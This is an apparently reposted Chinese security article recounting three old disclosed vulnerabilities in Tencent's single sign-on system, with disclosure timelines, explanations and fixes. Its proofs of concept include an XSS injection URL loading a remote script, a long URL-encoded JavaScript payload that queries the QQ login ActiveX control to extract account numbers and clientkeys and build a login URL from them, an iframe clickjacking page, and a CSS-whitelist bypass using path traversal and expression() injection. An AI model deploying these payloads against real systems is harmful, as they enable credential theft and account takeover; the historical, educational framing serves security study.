声明:相关漏洞细节和过程都已在12年前公开,并与官方沟通确认,任何人都可以公开参考学习。
一. 腾讯单点登录系统跨域劫持漏洞
披露状态:
2010-07-27:细节已通知厂商并且等待厂商处理中2010 -07-28:厂商已经确认,细节仅向厂商公开 2010-08-10:细节向核心白帽子及相关领域专家公开2010 -08-20:细节向普通白帽子公开 2010-08-26:细节向实习白帽子公开 2010-08-26:细节向公众公开
简要描述:
腾讯单点登录系统在安全架构上存在安全缺陷,黑客可以轻易通过一些漏洞跨域劫持单点登录系统,从而获取客户端QQ所有相关服务的权限。
详细说明:
QQ的快速登录插件的信任域是xui.ptlogin2.qq.com,其单点登录页面存在一个跨域设置document.domain='qq.com',通过其他*.qq.com下的WEB应用能够注入脚本到信任域xui.ptlogin2.qq.com,从而操作快速登录插件盗取用户的密钥。
漏洞证明:
随便找QQ分站的一个XSS漏洞即可攻击。 1.通过XSS漏洞注入远程的攻击脚本 http://127.0.0.1/xss.js http://product.tech.qq.com/simp_search.php?keyword="></script><script/src=http://127.0.0.1/xss.js></script> 2.快速登录插件攻击测试脚本XSS.JS
window.name = 'function%20clientkey%28%29%7B%0D%0A%20%20%20%20var%20q_hummerQtrl%20%3D%20new%20ActiveXObject%28%22SSOAxCtrlForPTLogin.SSOForPTLogin2%22%29%3B%0D%0A%20%20%20%20var%20A%20%3D%20q_hummerQtrl.CreateTXSSOData%28%29%3B%0D%0A%20%20%20%20q_hummerQtrl.InitSSOFPTCtrl%280%2C%20A%29%3B%0D%0A%20%20%20%20var%20g_vOptData%20%3D%20q_hummerQtrl.CreateTXSSOData%28%29%3B%0D%0A%20%20%20%20var%20q_aUinList%20%3D%20%5B%5D%3B%0D%0A%20%20%20%20function%20hummer_loaduin%28%29%7B%0D%0A%20%20%20%20%20%20%20%20q_aUinList.length%20%3D%200%3B%0D%0A%20%20%20%20%20%20%20%20var%20Q%20%3D%20q_hummerQtrl.DoOperation%281%2C%20g_vOptData%29%3B%0D%0A%20%20%20%20%20%20%20%20if%20%28null%20%3D%3D%20Q%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20return%0D%0A%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20try%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20var%20N%20%3D%20Q.GetArray%28%22PTALIST%22%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20var%20U%20%3D%20N.GetSize%28%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20var%20P%20%3D%20%22%22%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20for%20%28var%20V%20%3D%200%3B%20V%20%3C%20U%3B%20V++%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20var%20C%20%3D%20N.GetData%28V%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20var%20S%20%3D%20C.GetDWord%28%22dwSSO_Account_dwAccountUin%22%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20var%20G%20%3D%20%22%22%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20var%20T%20%3D%20%22%22%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20try%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20G%20%3D%20C.GetArray%28%22SSO_Account_AccountValueList%22%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20T%20%3D%20G.GetStr%280%29%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20catch%20%28R%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20T%20%3D%200%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20var%20L%20%3D%200%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20try%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20L%20%3D%20C.GetWord%28%22wSSO_Account_wFaceIndex%22%29%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20catch%20%28R%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20L%20%3D%200%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20var%20M%20%3D%20%22%22%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20try%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20M%20%3D%20C.GetStr%28%22strSSO_Account_strNickName%22%29%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20catch%20%28R%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20M%20%3D%20%22%22%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20var%20J%20%3D%200%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20try%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20J%20%3D%20C.GetByte%28%22cSSO_Account_cGender%22%29%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20catch%20%28R%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20J%20%3D%200%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20var%20K%20%3D%200%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20try%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20K%20%3D%20C.GetDWord%28%22dwSSO_Account_dwUinFlag%22%29%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20catch%20%28R%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20K%20%3D%200%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20var%20D%20%3D%20C.GetBuf%28%22bufGTKey_PTLOGIN%22%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20var%20E%20%3D%20C.GetBuf%28%22bufST_PTLOGIN%22%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20var%20I%20%3D%20%22%22%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20var%20A%20%3D%20E.GetSize%28%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20for%20%28var%20O%20%3D%200%3B%20O%20%3C%20A%3B%20O++%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20var%20B%20%3D%20E.GetAt%28O%29.toString%28%2216%22%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28B.length%20%3D%3D%201%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20B%20%3D%20%220%22%20+%20B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20I%20+%3D%20B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20var%20H%20%3D%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20uin%3A%20S%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name%3A%20T%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20face%3A%20L%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20nick%3A%20M%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20gender%3A%20J%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20key%3A%20I%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20q_aUinList%5BV%5D%20%3D%20H%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%7D%20%0D%0A%20%20%20%20%20%20%20%20catch%20%28R%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%7D%0D%0A%20%20%20%20hummer_loaduin%28%29%3B%0D%0A%20%20%20%20var%20str%20%3D%20%5B%5D%3B%0D%0A%20%20%20%20for%20%28var%20i%20%3D%200%3B%20i%20%3C%20q_aUinList.length%3B%20i++%29%20%7B%0D%0A%20%20%20%20%20%20%20%20str.push%28q_aUinList%5Bi%5D.uin%20+%20%22%2C%22%20+%20q_aUinList%5Bi%5D.key%29%3B%0D%0A%20%20%20%20%7D%0D%0A%20%20%20%20str%20%3D%20str.join%28%22%7C%22%29%3B%0D%0A%20%20%20%20return%20str%3B%0D%0A%7D%0D%0A%0D%0A//alert%28clientkey%28%29%29%0D%0A%0D%0Avar%20q_ver%20%3D%20%5B%5D%3B%0D%0Ak_tmp%20%3D%20clientkey%28%29.split%28%22%7C%22%29%0D%0Afor%20%28var%20k%20%3D%200%3B%20k%20%3C%20k_tmp.length%3B%20k++%29%20%7B%0D%0A%20%20%20%20k2%20%3D%20k_tmp%5Bk%5D.split%28%22%2C%22%29%3B%0D%0A%20%20%20%20qq%20%3D%20k2%5B0%5D%3B%0D%0A%20%20%20%20ck%20%3D%20k2%5B1%5D%3B%0D%0A%20%20%20%20for%20%28var%20j%20%3D%200%3B%20j%20%3C%20k2.length%3B%20j++%29%20%7B%0D%0A%20%20%20%20%20%20%20%20q_ver.push%28k2%5Bj%5D%29%0D%0A%20%20%20%20%7D%0D%0A%7D%0D%0Aq_ver%20%3D%20q_ver.join%28%22%5Cr%5Cn%22%29%3B%0D%0A%0D%0AsetTimeout%28function%28%29%7B%0D%0A%20%20%20%20document.write%28%27QQ%20%26%20ClientKey%3A%3Cbr%3E%3Cbr%3E%27%20+%20%27%3CTEXTAREA%20NAME%3D%22output%22%20style%3D%22width%3A60%25%3B%20height%3A%20150px%3B%22%20class%3D%22textbox%22%3E%27%20+%20q_ver%20+%20%27%3C%5C/TEXTAREA%3E%3Cbr%3E%3Cbr%3EQQ%20Clientkey%20Url%3A%3Cbr%3E%3Cbr%3E%27%20+%20%27%3CTEXTAREA%20NAME%3D%22output%22%20style%3D%22width%3A60%25%3B%20height%3A%20150px%3B%22%20class%3D%22textbox%22%3E%27%20+%20%27http%3A//ptlogin2.qq.com/jump%3Fclientuin%3D%27%20+%20qq%20+%20%27%26clientkey%3D%27%20+%20ck%20+%20%27%26keyindex%3D9%26u1%3Dhttp%3A//pay.qq.com%3C%5C/TEXTAREA%3E%27%29%0D%0A%7D%2C%201000%29%3B' window.onload =function(){ document.write("<script>alert(document.domain='qq.com')</script><a href="javascript:x=window.open('http://xui.ptlogin2.qq.com/cgi-bin/login?appid=1&s_url=http://360.cn');setTimeout(function(){x.eval(unescape(window.name))},2000);void(1)">cross domain fuck qq client key!!!</a>") }
修复方案:
和开发人员沟通,彻底清查快速登录服务应用是否添加了不安全的跨域设置或其他危险的信任域。
二. 腾讯单点登录系统跨域劫持漏洞 Ⅱ
披露状态:
2010-08-15:细节已通知厂商并且等待厂商处理中 2010-08-15:厂商已经确认,细节仅向厂商公开 2010-08-25:细节向核心白帽子及相关领域专家公开 2010-09-04:细节向普通白帽子公开 2010-09-14:细节向实习白帽子公开 2010-09-14:细节向公众公开
简要描述:
腾讯单点登录系统在安全架构上存在安全缺陷,黑客可以轻易通过一些漏洞跨域劫持单点登录系统,从而获取客户端QQ所有相关服务的权限。细节补充:和上次,上上次的漏洞一样,可以通过网页挂马的方式远程获取QQ客户端的clientkey.
详细说明:
单点登录系统网页的javascript的跨域设置是通过点击按钮的事件触发的,如下流程: http://imgcache.qq.com/ptlogin/ac/v7/js/xui.js -------------------------------------------------------- if (!flag) { g_domain = "qq.com" } 没有FLAG参数,G_DOMAIN设置成QQ.COM. ....... function unloadpage(){ document.domain = g_domain; unloadpage函数进行跨域设置 ....... function hummer_login(E, D, A, F){ if (A == "") { A = "jump" } var C = "http://ptlogin2." + D + "/" + A + "?clientuin=" + E.uin + "&clientkey=" + E.key + "&keyindex=9"; if (F != null && F != "") { var B = decodeURIComponent(F); if (B.indexOf("#") > -1) { B = B.replace(/#/g, "%23") } C += ("&" + B) } switch (parseInt(g_qtarget)) { case 0: unloadpage(); parent.location.href = C; break; 页面转跳前运行 unloadpage()函数 ........ ------------------------------------------------------- 黑客可以直接IFRAME单点登录系统的网页,先通过设置location全局变量让网页转跳失败,然后再通过腾讯网站任意的一个XSS漏洞,跨域获取用户的clientkey。 同局域网内可以直接用clientkey使用单点登录系统,非局域网用户可以强制用户单点登录获取用户的session。
漏洞证明:
真正的攻击场景需要腾讯网站的一个XSS配合,攻击方式可以做到用户在随便在任意一个网站点击链接,就可以获取clientkey! 下面给一个POC,完美EXP太H太暴力了,就不给了:
<html> <head> <script> var location = ''; function click_hijack(obj) { document.all("div_xss").style.display=obj; document.all("div_xss").style.top=event.clientY+document.body.scrollTop + 220; document.all("div_xss").style.left=event.clientX+document.body.scrollLeft - 340; } </script> </head> <body> <br> <div align="center"> <a id="click" href='' onMouseMove="click_hijack('block')" onmouseout="click_hijack('none')">test1</a> <br> <br> <a id="click" href='' onMouseMove="click_hijack('block')" onmouseout="click_hijack('none')">test2</a> <br> <br> </div> <div id="div_xss" style="position:absolute;" > <iframe id="victim" src="http://xui.ptlogin2.qq.com/cgi-bin/qlogin?domain=qq.com" scrolling="no" style="position: absolute;left: 200;bottom: 200;" height="90px;" width="200px;"></iframe> </div> </body> </html>
修复方案:
防止单点登录系统服务被非信任域引用。
三.腾讯单点登录系统CSS样式表注入漏洞
披露状态:
2011-06-01:细节已通知厂商并且等待厂商处理中 2011-06-01:厂商已经确认,细节仅向厂商公开 2011-06-11:细节向核心白帽子及相关领域专家公开 2011-06-21:细节向普通白帽子公开 2011-07-01:细节向实习白帽子公开 2011-07-01:细节向公众公开
简要描述:
腾讯单点登录系统存在一个CSS样式表漏洞,导致可以注入脚本劫持使用单点登陆插件盗取用户的clientkey使用QQ服务.
详细说明:
腾讯单点登录系统有个CSS参数可以导入远程的样式表,CSS样式表URL有个白名单列表,开发人员只通过字符串搜索的方式匹配白名单,导致可以饶过该白名单限制.
漏洞证明:
如http://pengyou.qq.com/asset/login.css是白名单 那么通过一个搜索功能我们就能输出一段CSS样式表 http://pengyou.qq.com/asset/out.php?mod=outsearch&act=result&name=}body{x:expression(alert(1))} 由于开发人员只通过字符串搜索的方式匹配白名单URL,我们可以通过目录跳转符的方式访问CSS样式表链接 http://pengyou.qq.com/asset/login.css/../../out.php?mod=outsearch&act=result&name=}body{x:expression(alert(1))} 最后生成攻击链接 http://xui.ptlogin2.qq.com/cgi-bin/qlogin?domain=qq.com&lang=2052&qtarget=2&jumpname=&ptcss=¶m=&css=http%3a%2f%2fpengyou.qq.com%2fasset%2flogin.css%2f..%2f..%2fout.php%3fmod%3doutsearch%26act%3dresult%26name%3d%7dbody%7bx%3aexpression(alert(1))%7d
修复方案:
严格匹配白名单,而不是通过字符串搜索的方式匹配白名单.
原文始发于微信公众号(赛博攻防悟道):12年前的安全漏洞是否能学到更多?!
评论